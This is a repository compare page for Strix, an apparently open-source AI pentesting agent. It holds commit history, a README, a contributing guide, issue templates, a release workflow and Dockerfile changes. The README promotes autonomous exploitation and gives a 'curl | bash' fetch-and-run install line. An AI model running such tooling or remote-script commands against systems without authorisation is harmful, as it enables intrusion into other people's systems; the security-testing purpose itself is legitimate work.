Ahmed Allam cf1d43706a feat: improve completion message display for scan results and user interruptions 2025-11-01 03:02:47 +02:00
Ahmed AllamandAhmed Allam b9f8ee3f67 fix: replace raise with sys.exit(1) in clone_repository for better error handling 2025-11-01 02:38:37 +02:00
Ahmed AllamandAhmed Allam 2d6db8f95e feat: enhance agent prompt for multi-target testing 2025-11-01 02:38:37 +02:00
Ahmed AllamandAhmed Allam 7178307b9d docs: Update README to include multi-target testing examples 2025-11-01 02:38:37 +02:00
Ahmed AllamandAhmed Allam 738fdc2d49 feat: implement multi-target scanning 2025-11-01 02:38:37 +02:00
dependabot[bot]andAhmed Allam deee85d547 chore(deps): bump pypdf from 6.0.0 to 6.1.3
Bumps [pypdf](https://github.com/py-pdf/pypdf) from 6.0.0 to 6.1.3.
- [Release notes](https://github.com/py-pdf/pypdf/releases)
- [Changelog](https://github.com/py-pdf/pypdf/blob/main/CHANGELOG.md)
- [Commits](https://github.com/py-pdf/pypdf/compare/6.0.0...6.1.3)

---
updated-dependencies:
- dependency-name: pypdf
  dependency-version: 6.1.3
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-31 21:13:25 +02:00
dependabot[bot]andAhmed Allam 354fd48480 chore(deps): bump mammoth from 1.10.0 to 1.11.0
Bumps [mammoth](https://github.com/mwilliamson/python-mammoth) from 1.10.0 to 1.11.0.
- [Changelog](https://github.com/mwilliamson/python-mammoth/blob/master/NEWS)
- [Commits](https://github.com/mwilliamson/python-mammoth/compare/1.10.0...1.11.0)

---
updated-dependencies:
- dependency-name: mammoth
  dependency-version: 1.11.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-31 21:12:41 +02:00
Ahmed Allam 1f29c71a88 chore: Update Discord invite link in CONTRIBUTING.md 2025-10-31 21:10:50 +02:00
Ahmed AllamandAhmed Allam 97154c7d0e docs: Update README with configuration details and refine headless mode instructions 2025-10-31 21:07:21 +02:00
Ahmed AllamandAhmed Allam 395013fdeb feat(docs): Enhance README with headless mode and CI/CD integration examples 2025-10-31 21:07:21 +02:00
Ahmed AllamandAhmed Allam ecf5271981 feat: Add iteration limit warnings for agent 2025-10-31 21:07:21 +02:00
Ahmed AllamandAhmed Allam 71c232b577 feat: Increase agents max_iterations to 300 2025-10-31 21:07:21 +02:00
Ahmed AllamandAhmed Allam f2b4eccc5b refactor: Migrate tracer to new telemetry module 2025-10-31 21:07:21 +02:00
Ahmed AllamandAhmed Allam 86dd6f5330 feat(interface): Introduce non-interactive CLI mode and restructure UI layer 2025-10-31 21:07:21 +02:00
Ahmed AllamandGitHub 85209bfc20 chore: replaced Discord invite link with open invite
(remove the unneeded join application)
2025-10-31 15:19:46 +02:00
Ahmed AllamandAhmed Allam 54851e2e0a feat(cli): per‑severity vuln counts in test completion panel 2025-10-28 22:48:52 -07:00
Ahmed Allam a4712b7b78 chore: Bump version to 0.1.19 and enhance splash screen 2025-10-29 02:15:30 +03:00
Ahmed AllamandAhmed Allam 96f5c44799 refactor: Update agent instructions and descriptions 2025-10-28 13:17:46 -07:00
Ahmed AllamandAhmed Allam 49df6ef8e0 feat: Implement waiting timeout handling in BaseAgent and AgentState 2025-10-28 13:17:46 -07:00
Ahmed AllamandAhmed Allam c78f7d37de chore: remove unneeded gitkeep files 2025-10-18 18:39:39 -07:00
Ahmed AllamandAhmed Allam e2756f4821 feat: Adding graphql testing prompt module 2025-10-18 18:39:39 -07:00
Ahmed AllamandAhmed Allam ed77eef89b feat: Adding Fastapi testing prompt module 2025-10-18 18:39:39 -07:00
Ahmed AllamandAhmed Allam 4681f23b1f feat: Adding Nextjs testing prompt module 2025-10-18 18:39:39 -07:00
Ahmed AllamandAhmed Allam 1eb6023fb6 feat: Adding Firebase testing prompt module 2025-10-18 18:39:39 -07:00
Ahmed AllamandAhmed Allam 216809a157 feat: Adding Supabase security prompt module 2025-10-18 18:39:39 -07:00
Ahmed AllamandAhmed Allam f22acefd76 refactor: Remove parser hardening examples from xxe prompt 2025-10-13 17:48:32 -07:00
Ahmed AllamandAhmed Allam 6d5a3f331b feat: Adding prompt modules for broken function level authorization, insecure file uploads, mass assignment, and path traversal, LFI, and RFI 2025-10-13 17:48:32 -07:00
Ahmed AllamandAhmed Allam d4a62ec365 refactor: Revise vulnerabilities prompts for clarity and comprehensiveness 2025-10-13 17:48:32 -07:00
Ahmed Allam fa566e5fb5 refactor: Add noqa comments to validate_environment function for lint issues 2025-10-12 23:38:24 -07:00
Ahmed AllamandGitHub 7de9c4efe1 feat: Add prompt module collections and contributing.md (#40) 2025-10-10 10:41:42 +01:00
Ahmed Allam 522d2c8948 Update README.md 2025-09-28 21:56:51 -07:00
Ahmed Allam 9e7c133bbf Update README.md 2025-09-28 21:04:40 -07:00
Ahmed AllamandGitHub 7979b84cc3 Update issue templates 2025-09-29 02:19:04 +01:00
Ahmed Allam 94ca55b065 Update README.md 2025-09-24 19:21:01 -07:00
ac6d5c6dae feat(llm): support remote API base (Ollama/LM Studio/LiteLLM) + docs (#24)
Co-authored-by: Ahmed Allam <ahmed39652003@gmail.com>
Co-authored-by: Ahmed Allam <49919286+0xallam@users.noreply.github.com>
2025-09-24 20:32:58 +01:00
Ahmed Allam af01294c46 Better handling for rich markup errors 2025-09-24 01:13:02 -07:00
Ahmed AllamandGitHub c8b23720df Fix tool server http requests issues (#37) 2025-09-24 04:41:23 +01:00
Ahmed AllamandGitHub 7d8ffe1e32 Fix escape issues causing tui to crash (#36) 2025-09-24 04:14:08 +01:00
Ahmed AllamandGitHub aabf97af0a Adding more verbose logging for llm failed requests (#30) 2025-09-14 15:56:07 -07:00
Ahmed Allam 5294d613d0 Remove rce prompt examples 2025-09-12 11:52:35 -07:00
Ahmed Allam 9a9a7268cd Better handling of LLM request failures 2025-09-10 15:39:01 -07:00
Ahmed Allam 914b981072 Improving prompts 2025-09-09 23:38:23 -07:00
Ahmed Allam 500b987ed4 Fix docker container creation issue 2025-09-09 00:02:39 -07:00
Ahmed Allam 138c5a9023 Escaping tool arguments 2025-09-08 23:56:44 -07:00
Ahmed Allam 9adbd03ff1 Improving CLI tool components 2025-09-08 23:56:03 -07:00
Ahmed Allam ec99626ba8 Improving prompts 2025-09-08 23:54:06 -07:00
Ahmed AllamandAhmed Allam d43fb5be03 Update README 2025-09-08 10:31:16 -07:00
Ahmed Allam 4a719130ff Use high reasoning effort by default 2025-09-08 10:29:31 -07:00
19f166e608 Fix openai dependencies issue (#14)
Co-authored-by: Ahmed Allam <ahmed39652003@gmail.com>
2025-08-18 23:22:31 +01:00
Ahmed AllamandGitHub cb57426cc6 Running all agents under same container (#12) 2025-08-18 21:58:38 +01:00
Ahmed AllamandGitHub 198a5e4a61 Redesigning the terminal tool (#11) 2025-08-17 07:43:29 +01:00
Ahmed AllamandGitHub ccab853c0f Clone git repositories internally (#10) 2025-08-16 23:47:36 +01:00
Ahmed AllamandGitHub 337d64d362 Adding full support for gpt-5 models (#5) 2025-08-15 21:02:39 +01:00
153 changed files with 17874 additions and 7487 deletions
-126
View File
@@ -1,126 +0,0 @@
---
description:
globs:
alwaysApply: true
---
# Strix Cybersecurity Agent - Project Rules
## Project Overview
### Goal and Purpose
Strix is a sophisticated cybersecurity agent specialized in vulnerability scanning and security assessment. It provides:
- Automated cybersecurity scans and assessments
- Web application security testing
- Infrastructure vulnerability analysis
- Comprehensive security reporting
- RESTful API for scan management
- CLI interface for direct usage
The project implements an AI-powered ReAct (Reasoning and Acting) framework for autonomous security testing.
## Project Structure
### High-Level Architecture
```
strix-agent/
├── strix/ # Core application package
│ ├── agents/ # AI agent implementations
│ ├── api/ # FastAPI web service
│ ├── cli/ # Command-line interface
│ ├── llm/ # Language model configurations
│ └── tools/ # Security testing tools
├── tests/ # Test suite
├── evaluation/ # Evaluation framework
├── containers/ # Docker configuration
└── docs/ # Documentation
```
### Low-Level Structure
#### Core Components
- **[strix/agents/StrixAgent/strix_agent.py](mdc:strix/agents/StrixAgent/strix_agent.py)** - Main cybersecurity agent
- **[strix/agents/base_agent.py](mdc:strix/agents/base_agent.py)** - Base agent framework
- **[strix/api/main.py](mdc:strix/api/main.py)** - FastAPI application entry point
- **[strix/cli/main.py](mdc:strix/cli/main.py)** - CLI entry point
- **[pyproject.toml](mdc:pyproject.toml)** - Project configuration and dependencies
#### API Structure
- **[strix/api/routers/](mdc:strix/api/routers)** - API endpoint definitions
- **[strix/api/models/](mdc:strix/api/models)** - Pydantic data models
- **[strix/api/services/](mdc:strix/api/services)** - Business logic services
#### Security Tools
- **[strix/tools/browser/](mdc:strix/tools/browser)** - Web browser automation
- **[strix/tools/terminal/](mdc:strix/tools/terminal)** - Terminal command execution
- **[strix/tools/python/](mdc:strix/tools/python)** - Python code execution
- **[strix/tools/web_search/](mdc:strix/tools/web_search)** - Web reconnaissance
- **[strix/tools/reporting/](mdc:strix/tools/reporting)** - Security report generation
## Development Guidelines
### Code Standards
- **Simplicity**: Write simple, clean, and modular code
- **Functionality**: Prefer functional programming patterns where appropriate
- **Efficiency**: Optimize for performance without premature optimization
- **No Bloat**: Avoid unnecessary complexity or over-engineering
- **Minimal Comments**: Code should be self-documenting; use comments sparingly for complex business logic only
### Code Quality Requirements
- All code MUST pass `make pre-commit` checks
- All code MUST pass Ruff linting without warnings
- All code MUST pass MyPy type checking without errors
- Type hints are required for all function signatures
- Follow the strict configuration in [pyproject.toml](mdc:pyproject.toml)
### Execution Environment
- **ALWAYS** use `poetry run` for executing Python scripts and commands
- **NEVER** run Python directly with `python` command
- Use `poetry run strix-agent` for CLI operations
- Use `poetry run uvicorn strix.api.main:app` for API server
### File Management Rules
- **DO NOT** create or edit README.md or any .md documentation files unless explicitly requested
- Focus on code implementation, not documentation
- Keep docstrings concise and functional
### Testing and Quality Assurance
- Run `make pre-commit` before any commits
- Ensure all tests pass with `poetry run pytest`
- Use `poetry run mypy .` for type checking
- Use `poetry run ruff check .` for linting
### Dependencies
- All dependencies managed through [pyproject.toml](mdc:pyproject.toml)
- Use Poetry for dependency management
- Pin versions for production dependencies
- Keep dev dependencies in separate group
### Configuration
- Application settings in [strix/api/core/config.py](mdc:strix/api/core/config.py)
- LLM configuration in [strix/llm/config.py](mdc:strix/llm/config.py)
- Agent system prompts in [strix/agents/StrixAgent/system_prompt.jinja](mdc:strix/agents/StrixAgent/system_prompt.jinja)
## Key Implementation Patterns
### Agent Framework
- Inherit from BaseAgent for new agent implementations
- Use ReAct pattern for reasoning and action loops
- Implement tools through the registry system in [strix/tools/registry.py](mdc:strix/tools/registry.py)
### API Development
- Use FastAPI with Pydantic models
- Implement proper error handling and validation
- Follow REST conventions for endpoints
- Use Beanie ODM for MongoDB operations
### Security Tools
- Implement tools as action classes with clear interfaces
- Use async/await for I/O operations
- Implement proper cleanup and resource management
- Follow principle of least privilege
### Error Handling
- Use structured exception handling
- Provide meaningful error messages
- Log errors appropriately without exposing sensitive information
- Implement graceful degradation where possible
+33
View File
@@ -0,0 +1,33 @@
---
name: Bug report
about: Create a report to help us improve
title: "[BUG]"
labels: bug
assignees: ''
---
**Describe the bug**
A clear and concise description of what the bug is.
**To Reproduce**
Steps to reproduce the behavior:
1.
2.
3.
4.
**Expected behavior**
A clear and concise description of what you expected to happen.
**Screenshots**
If applicable, add screenshots to help explain your problem.
**System Information:**
- OS: [e.g. Ubuntu 22.04]
- Strix Version or Commit: [e.g. 0.1.18]
- Python Version: [e.g. 3.12]
- LLM Used: [e.g. GPT-5, Claude Sonnet 4]
**Additional context**
Add any other context about the problem here.
+20
View File
@@ -0,0 +1,20 @@
---
name: Feature request
about: Suggest an idea for this project
title: "[FEATURE]"
labels: enhancement
assignees: ''
---
**Is your feature request related to a problem? Please describe.**
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
**Describe the solution you'd like**
A clear and concise description of what you want to happen.
**Describe alternatives you've considered**
A clear and concise description of any alternative solutions or features you've considered.
**Additional context**
Add any other context or screenshots about the feature request here.
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 3.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 679 KiB

After

Width:  |  Height:  |  Size: 400 KiB

+78
View File
@@ -0,0 +1,78 @@
name: Build & Release
on:
push:
tags:
- 'v*'
workflow_dispatch:
jobs:
build:
strategy:
fail-fast: false
matrix:
include:
- os: macos-latest
target: macos-arm64
- os: macos-15-intel
target: macos-x86_64
- os: ubuntu-latest
target: linux-x86_64
- os: windows-latest
target: windows-x86_64
runs-on: ${{ matrix.os }}
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: '3.12'
- uses: snok/install-poetry@v1
- name: Build
shell: bash
run: |
poetry install --with dev
poetry run pyinstaller strix.spec --noconfirm
VERSION=$(poetry version -s)
mkdir -p dist/release
if [[ "${{ runner.os }}" == "Windows" ]]; then
cp dist/strix.exe "dist/release/strix-${VERSION}-${{ matrix.target }}.exe"
(cd dist/release && 7z a "strix-${VERSION}-${{ matrix.target }}.zip" "strix-${VERSION}-${{ matrix.target }}.exe")
else
cp dist/strix "dist/release/strix-${VERSION}-${{ matrix.target }}"
chmod +x "dist/release/strix-${VERSION}-${{ matrix.target }}"
tar -C dist/release -czvf "dist/release/strix-${VERSION}-${{ matrix.target }}.tar.gz" "strix-${VERSION}-${{ matrix.target }}"
fi
- uses: actions/upload-artifact@v4
with:
name: strix-${{ matrix.target }}
path: |
dist/release/*.tar.gz
dist/release/*.zip
if-no-files-found: error
release:
needs: build
runs-on: ubuntu-latest
permissions:
contents: write
steps:
- uses: actions/download-artifact@v4
with:
path: release
merge-multiple: true
- name: Create Release
uses: softprops/action-gh-release@v2
with:
prerelease: ${{ !startsWith(github.ref, 'refs/tags/') }}
generate_release_notes: true
files: release/*
+1
View File
@@ -79,6 +79,7 @@ logs/
tensorboard/ tensorboard/
# Agent execution traces # Agent execution traces
strix_runs/
agent_runs/ agent_runs/
# Misc # Misc
+116
View File
@@ -0,0 +1,116 @@
# Contributing to Strix
Thank you for your interest in contributing to Strix! This guide will help you get started with development and contributions.
## 🚀 Development Setup
### Prerequisites
- Python 3.12+
- Docker (running)
- Poetry (for dependency management)
- Git
### Local Development
1. **Clone the repository**
```bash
git clone https://github.com/usestrix/strix.git
cd strix
```
2. **Install development dependencies**
```bash
make setup-dev
# or manually:
poetry install --with=dev
poetry run pre-commit install
```
3. **Configure your LLM provider**
```bash
export STRIX_LLM="openai/gpt-5"
export LLM_API_KEY="your-api-key"
```
4. **Run Strix in development mode**
```bash
poetry run strix --target https://example.com
```
## 📚 Contributing Skills
Skills are specialized knowledge packages that enhance agent capabilities. See [strix/skills/README.md](strix/skills/README.md) for detailed guidelines.
### Quick Guide
1. **Choose the right category** (`/vulnerabilities`, `/frameworks`, `/technologies`, etc.)
2. **Create a** `.jinja` file with your skill content
3. **Include practical examples** - Working payloads, commands, or test cases
4. **Provide validation methods** - How to confirm findings and avoid false positives
5. **Submit via PR** with clear description
## 🔧 Contributing Code
### Pull Request Process
1. **Create an issue first** - Describe the problem or feature
2. **Fork and branch** - Work from the `main` branch
3. **Make your changes** - Follow existing code style
4. **Write/update tests** - Ensure coverage for new features
5. **Run quality checks** - `make check-all` should pass
6. **Submit PR** - Link to issue and provide context
### PR Guidelines
- **Clear description** - Explain what and why
- **Small, focused changes** - One feature/fix per PR
- **Include examples** - Show before/after behavior
- **Update documentation** - If adding features
- **Pass all checks** - Tests, linting, type checking
### Code Style
- Follow PEP 8 with 100-character line limit
- Use type hints for all functions
- Write docstrings for public methods
- Keep functions focused and small
- Use meaningful variable names
## 🐛 Reporting Issues
When reporting bugs, please include:
- Python version and OS
- Strix version
- LLMs being used
- Full error traceback
- Steps to reproduce
- Expected vs actual behavior
## 💡 Feature Requests
We welcome feature ideas! Please:
- Check existing issues first
- Describe the use case clearly
- Explain why it would benefit users
- Consider implementation approach
- Be open to discussion
## 🤝 Community
- **Discord**: [Join our community](https://discord.gg/YjKFvEZSdZ)
- **Issues**: [GitHub Issues](https://github.com/usestrix/strix/issues)
## ✨ Recognition
We value all contributions! Contributors will be:
- Listed in release notes
- Thanked in our Discord
- Added to contributors list (coming soon)
---
**Questions?** Reach out on [Discord](https://discord.gg/YjKFvEZSdZ) or create an issue. We're here to help!
+175 -69
View File
@@ -1,63 +1,125 @@
<p align="center">
<a href="https://strix.ai/">
<img src=".github/logo.png" width="150" alt="Strix Logo">
</a>
</p>
<h1 align="center">Strix</h1>
<h2 align="center">Open-source AI Hackers to secure your Apps</h2>
<div align="center"> <div align="center">
# Strix [![Python](https://img.shields.io/pypi/pyversions/strix-agent?color=3776AB)](https://pypi.org/project/strix-agent/)
[![PyPI](https://img.shields.io/pypi/v/strix-agent?color=10b981)](https://pypi.org/project/strix-agent/)
[![License](https://img.shields.io/badge/license-Apache%202.0-blue.svg)](LICENSE)
[![Docs](https://img.shields.io/badge/Docs-docs.strix.ai-10b981.svg)](https://docs.strix.ai)
### Open-source AI hackers for your apps [![GitHub Stars](https://img.shields.io/github/stars/usestrix/strix)](https://github.com/usestrix/strix)
[![Discord](https://img.shields.io/badge/Discord-%235865F2.svg?&logo=discord&logoColor=white)](https://discord.gg/YjKFvEZSdZ)
[![Website](https://img.shields.io/badge/Website-strix.ai-2d3748.svg)](https://strix.ai)
[![Apache 2.0](https://img.shields.io/badge/license-Apache%202.0-blue.svg)](LICENSE) <a href="https://trendshift.io/repositories/15362" target="_blank"><img src="https://trendshift.io/api/badge/repositories/15362" alt="usestrix%2Fstrix | Trendshift" style="width: 250px; height: 55px;" width="250" height="55"/></a>
[![Vercel AI Accelerator 2025](https://img.shields.io/badge/Vercel%20AI-Accelerator%202025-000000?style=flat&logo=vercel)](https://vercel.com/ai-accelerator)
[![Status: Alpha](https://img.shields.io/badge/status-alpha-orange.svg)](https://github.com/usestrix/strix)
[![Discord](https://dcbadge.limes.pink/api/server/yduEyduBsp?style=flat)](https://discord.gg/yduEyduBsp)
**⚡ Use it to hack your apps before the bad guys do ⚡**
[![Ask DeepWiki](https://deepwiki.com/badge.svg)](https://deepwiki.com/usestrix/strix)
</div> </div>
<br>
<div align="center"> <div align="center">
<img src=".github/screenshot.png" alt="Strix Demo" width="800" style="border-radius: 16px; box-shadow: 0 20px 40px rgba(0, 0, 0, 0.3), 0 0 0 1px rgba(255, 255, 255, 0.1), inset 0 1px 0 rgba(255, 255, 255, 0.2); transform: perspective(1000px) rotateX(2deg); transition: transform 0.3s ease;"> <img src=".github/screenshot.png" alt="Strix Demo" width="800" style="border-radius: 16px;">
</div> </div>
<br>
> [!TIP]
> **New!** Strix now integrates seamlessly with GitHub Actions and CI/CD pipelines. Automatically scan for vulnerabilities on every pull request and block insecure code before it reaches production!
--- ---
## 🦉 Strix Overview ## 🦉 Strix Overview
Strix are autonomous AI agents that act just like real hackers - they run your code dynamically, find vulnerabilities, and validate them through actual exploitation. Built for developers and security teams who need fast, accurate security testing without the overhead of manual pentesting or the false positives of static analysis tools. Strix are autonomous AI agents that act just like real hackers - they run your code dynamically, find vulnerabilities, and validate them through actual proof-of-concepts. Built for developers and security teams who need fast, accurate security testing without the overhead of manual pentesting or the false positives of static analysis tools.
### 🚀 Quick Start **Key Capabilities:**
- 🔧 **Full hacker toolkit** out of the box
- 🤝 **Teams of agents** that collaborate and scale
-**Real validation** with PoCs, not false positives
- 💻 **Developerfirst** CLI with actionable reports
- 🔄 **Autofix & reporting** to accelerate remediation
## 🎯 Use Cases
- **Application Security Testing** - Detect and validate critical vulnerabilities in your applications
- **Rapid Penetration Testing** - Get penetration tests done in hours, not weeks, with compliance reports
- **Bug Bounty Automation** - Automate bug bounty research and generate PoCs for faster reporting
- **CI/CD Integration** - Run tests in CI/CD to block vulnerabilities before reaching production
---
## 🚀 Quick Start
**Prerequisites:**
- Docker (running)
- An LLM provider key (e.g. [get OpenAI API key](https://platform.openai.com/api-keys) or use a local LLM)
### Installation & First Scan
```bash ```bash
# Install # Install Strix
curl -sSL https://strix.ai/install | bash
# Or via pipx
pipx install strix-agent pipx install strix-agent
# Configure AI provider # Configure your AI provider
export STRIX_LLM="anthropic/claude-opus-4-1-20250805" export STRIX_LLM="openai/gpt-5"
export LLM_API_KEY="your-api-key" export LLM_API_KEY="your-api-key"
# Run security assessment # Run your first security assessment
strix --target ./app-directory strix --target ./app-directory
``` ```
## Why Use Strix > [!NOTE]
> First run automatically pulls the sandbox Docker image. Results are saved to `strix_runs/<run-name>`
- **Full Hacker Arsenal** - All the tools a professional hacker needs, built into the agents ## ☁️ Run Strix in Cloud
- **Real Validation** - Dynamic testing and actual exploitation, thus much fewer false positives
- **Developer-First** - Seamlessly integrates into existing development workflows Want to skip the local setup, API keys, and unpredictable LLM costs? Run the hosted cloud version of Strix at **[app.strix.ai](https://strix.ai)**.
- **Auto-Fix & Reporting** - Automated patching with detailed remediation and security reports
Launch a scan in just a few minutes—no setup or configuration required—and youll get:
- **A full pentest report** with validated findings and clear remediation steps
- **Shareable dashboards** your team can use to track fixes over time
- **CI/CD and GitHub integrations** to block risky changes before production
- **Continuous monitoring** so new vulnerabilities are caught quickly
[**Run your first pentest now →**](https://strix.ai)
---
## ✨ Features ## ✨ Features
### 🛠️ Agentic Security Tools ### 🛠️ Agentic Security Tools
- **🔌 Full HTTP Proxy** - Full request/response manipulation and analysis Strix agents come equipped with a comprehensive security testing toolkit:
- **🌐 Browser Automation** - Multi-tab browser for testing of XSS, CSRF, auth flows
- **💻 Terminal Environments** - Interactive shells for command execution and testing - **Full HTTP Proxy** - Full request/response manipulation and analysis
- **🐍 Python Runtime** - Custom exploit development and validation - **Browser Automation** - Multi-tab browser for testing of XSS, CSRF, auth flows
- **🔍 Reconnaissance** - Automated OSINT and attack surface mapping - **Terminal Environments** - Interactive shells for command execution and testing
- **📁 Code Analysis** - Static and dynamic analysis capabilities - **Python Runtime** - Custom exploit development and validation
- **📝 Knowledge Management** - Structured findings and attack documentation - **Reconnaissance** - Automated OSINT and attack surface mapping
- **Code Analysis** - Static and dynamic analysis capabilities
- **Knowledge Management** - Structured findings and attack documentation
### 🎯 Comprehensive Vulnerability Detection ### 🎯 Comprehensive Vulnerability Detection
Strix can identify and validate a wide range of security vulnerabilities:
- **Access Control** - IDOR, privilege escalation, auth bypass - **Access Control** - IDOR, privilege escalation, auth bypass
- **Injection Attacks** - SQL, NoSQL, command injection - **Injection Attacks** - SQL, NoSQL, command injection
- **Server-Side** - SSRF, XXE, deserialization flaws - **Server-Side** - SSRF, XXE, deserialization flaws
@@ -68,80 +130,124 @@ strix --target ./app-directory
### 🕸️ Graph of Agents ### 🕸️ Graph of Agents
Advanced multi-agent orchestration for comprehensive security testing:
- **Distributed Workflows** - Specialized agents for different attacks and assets - **Distributed Workflows** - Specialized agents for different attacks and assets
- **Scalable Testing** - Parallel execution for fast comprehensive coverage - **Scalable Testing** - Parallel execution for fast comprehensive coverage
- **Dynamic Coordination** - Agents collaborate and share discoveries - **Dynamic Coordination** - Agents collaborate and share discoveries
---
## 💻 Usage Examples ## 💻 Usage Examples
### Basic Usage
```bash ```bash
# Local codebase analysis # Scan a local codebase
strix --target ./app-directory strix --target ./app-directory
# Repository security review # Security review of a GitHub repository
strix --target https://github.com/org/repo strix --target https://github.com/org/repo
# Web application assessment # Black-box web application assessment
strix --target https://your-app.com strix --target https://your-app.com
```
# Focused testing ### Advanced Testing Scenarios
strix --target api.your-app.com --instruction "Prioritize authentication and authorization testing"
```bash
# Grey-box authenticated testing
strix --target https://your-app.com --instruction "Perform authenticated testing using credentials: user:pass"
# Multi-target testing (source code + deployed app)
strix -t https://github.com/org/app -t https://your-app.com
# Focused testing with custom instructions
strix --target api.your-app.com --instruction "Focus on business logic flaws and IDOR vulnerabilities"
# Provide detailed instructions through file (e.g., rules of engagement, scope, exclusions)
strix --target api.your-app.com --instruction-file ./instruction.md
```
### 🤖 Headless Mode
Run Strix programmatically without interactive UI using the `-n/--non-interactive` flag—perfect for servers and automated jobs. The CLI prints real-time vulnerability findings, and the final report before exiting. Exits with non-zero code when vulnerabilities are found.
```bash
strix -n --target https://your-app.com
```
### 🔄 CI/CD (GitHub Actions)
Strix can be added to your pipeline to run a security test on pull requests with a lightweight GitHub Actions workflow:
```yaml
name: strix-penetration-test
on:
pull_request:
jobs:
security-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- name: Install Strix
run: curl -sSL https://strix.ai/install | bash
- name: Run Strix
env:
STRIX_LLM: ${{ secrets.STRIX_LLM }}
LLM_API_KEY: ${{ secrets.LLM_API_KEY }}
run: strix -n -t ./ --scan-mode quick
``` ```
### ⚙️ Configuration ### ⚙️ Configuration
```bash ```bash
# Required export STRIX_LLM="openai/gpt-5"
export STRIX_LLM="anthropic/claude-opus-4-1-20250805"
export LLM_API_KEY="your-api-key" export LLM_API_KEY="your-api-key"
# Recommended # Optional
export PERPLEXITY_API_KEY="your-api-key" export LLM_API_BASE="your-api-base-url" # if using a local model, e.g. Ollama, LMStudio
export PERPLEXITY_API_KEY="your-api-key" # for search capabilities
export STRIX_REASONING_EFFORT="high" # control thinking effort (default: high, quick scan: medium)
``` ```
[📚 View supported AI models](https://docs.litellm.ai/docs/providers)
## 🏆 Enterprise Platform
Our managed platform provides:
- **📈 Executive Dashboards**
- **🧠 Custom Fine-Tuned Models**
- **⚙️ CI/CD Integration**
- **🔍 Large-Scale Scanning**
- **🔌 Third-Party Integrations**
- **🎯 Enterprise Support**
[**Get Enterprise Demo →**](https://form.typeform.com/to/ljtvl6X0)
## 🔒 Security Architecture
- **Container Isolation** - All testing in sandboxed Docker environments
- **Local Processing** - Testing runs locally, no data sent to external services
> [!NOTE] > [!NOTE]
> Strix is currently in Alpha. Expect rapid updates and improvements. > Strix automatically saves your configuration to `~/.strix/cli-config.json`, so you don't have to re-enter it on every run.
> [!WARNING] **Recommended models for best results:**
> Only test systems you own or have permission to test. You are responsible for using Strix ethically and legally.
- [OpenAI GPT-5](https://openai.com/api/) — `openai/gpt-5`
- [Anthropic Claude Sonnet 4.5](https://claude.com/platform/api) — `anthropic/claude-sonnet-4-5`
- [Google Gemini 3 Pro Preview](https://cloud.google.com/vertex-ai) — `vertex_ai/gemini-3-pro-preview`
See the [LLM Providers documentation](https://docs.strix.ai/llm-providers/overview) for all supported providers including Vertex AI, Bedrock, Azure, and local models.
## 📚 Documentation
Full documentation is available at **[docs.strix.ai](https://docs.strix.ai)** — including detailed guides for usage, CI/CD integrations, skills, and advanced configuration.
## 🤝 Contributing
We welcome contributions of code, docs, and new skills - check out our [Contributing Guide](https://docs.strix.ai/contributing) to get started or open a [pull request](https://github.com/usestrix/strix/pulls)/[issue](https://github.com/usestrix/strix/issues).
## 👥 Join Our Community
Have questions? Found a bug? Want to contribute? **[Join our Discord!](https://discord.gg/YjKFvEZSdZ)**
## 🌟 Support the Project ## 🌟 Support the Project
**Love Strix?** Give us a ⭐ on GitHub! **Love Strix?** Give us a ⭐ on GitHub!
## 🙏 Acknowledgements
## 👥 Join Our Community Strix builds on the incredible work of open-source projects like [LiteLLM](https://github.com/BerriAI/litellm), [Caido](https://github.com/caido/caido), [ProjectDiscovery](https://github.com/projectdiscovery), [Playwright](https://github.com/microsoft/playwright), and [Textual](https://github.com/Textualize/textual). Huge thanks to their maintainers!
Have questions? Found a bug? Want to contribute? **[Join our Discord!](https://discord.gg/yduEyduBsp)**
--- > [!WARNING]
> Only test apps you own or have permission to test. You are responsible for using Strix ethically and legally.
<div align="center">
### About • Links
**[OmniSecure Inc.](https://omnisecure.ai)** • Applied AI Research Lab
[Discord Community](https://discord.gg/yduEyduBsp) • [Enterprise Solutions](https://form.typeform.com/to/ljtvl6X0) • [Report Issues](https://github.com/usestrix/strix/issues)
</div> </div>
+5 -3
View File
@@ -38,11 +38,13 @@ RUN apt-get update && \
nodejs npm pipx \ nodejs npm pipx \
libcap2-bin \ libcap2-bin \
gdb \ gdb \
tmux \
libnss3 libnspr4 libdbus-1-3 libatk1.0-0 libatk-bridge2.0-0 libcups2 libdrm2 libatspi2.0-0 \ libnss3 libnspr4 libdbus-1-3 libatk1.0-0 libatk-bridge2.0-0 libcups2 libdrm2 libatspi2.0-0 \
libxcomposite1 libxdamage1 libxfixes3 libxrandr2 libgbm1 libxkbcommon0 libpango-1.0-0 libcairo2 libasound2 \ libxcomposite1 libxdamage1 libxfixes3 libxrandr2 libgbm1 libxkbcommon0 libpango-1.0-0 libcairo2 libasound2t64 \
fonts-unifont fonts-noto-color-emoji fonts-freefont-ttf fonts-dejavu-core ttf-bitstream-vera \ fonts-unifont fonts-noto-color-emoji fonts-freefont-ttf fonts-dejavu-core ttf-bitstream-vera \
libnss3-tools libnss3-tools
RUN setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip $(which nmap) RUN setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip $(which nmap)
USER pentester USER pentester
@@ -152,12 +154,12 @@ ENV PYTHONPATH=/app
ENV REQUESTS_CA_BUNDLE=/etc/ssl/certs/ca-certificates.crt ENV REQUESTS_CA_BUNDLE=/etc/ssl/certs/ca-certificates.crt
ENV SSL_CERT_FILE=/etc/ssl/certs/ca-certificates.crt ENV SSL_CERT_FILE=/etc/ssl/certs/ca-certificates.crt
RUN mkdir -p /shared_workspace /workspace && chown -R pentester:pentester /shared_workspace /workspace /app RUN mkdir -p /workspace && chown -R pentester:pentester /workspace /app
COPY pyproject.toml poetry.lock ./ COPY pyproject.toml poetry.lock ./
USER pentester USER pentester
RUN poetry install --no-root --without dev RUN poetry install --no-root --without dev --extras sandbox
RUN poetry run playwright install chromium RUN poetry run playwright install chromium
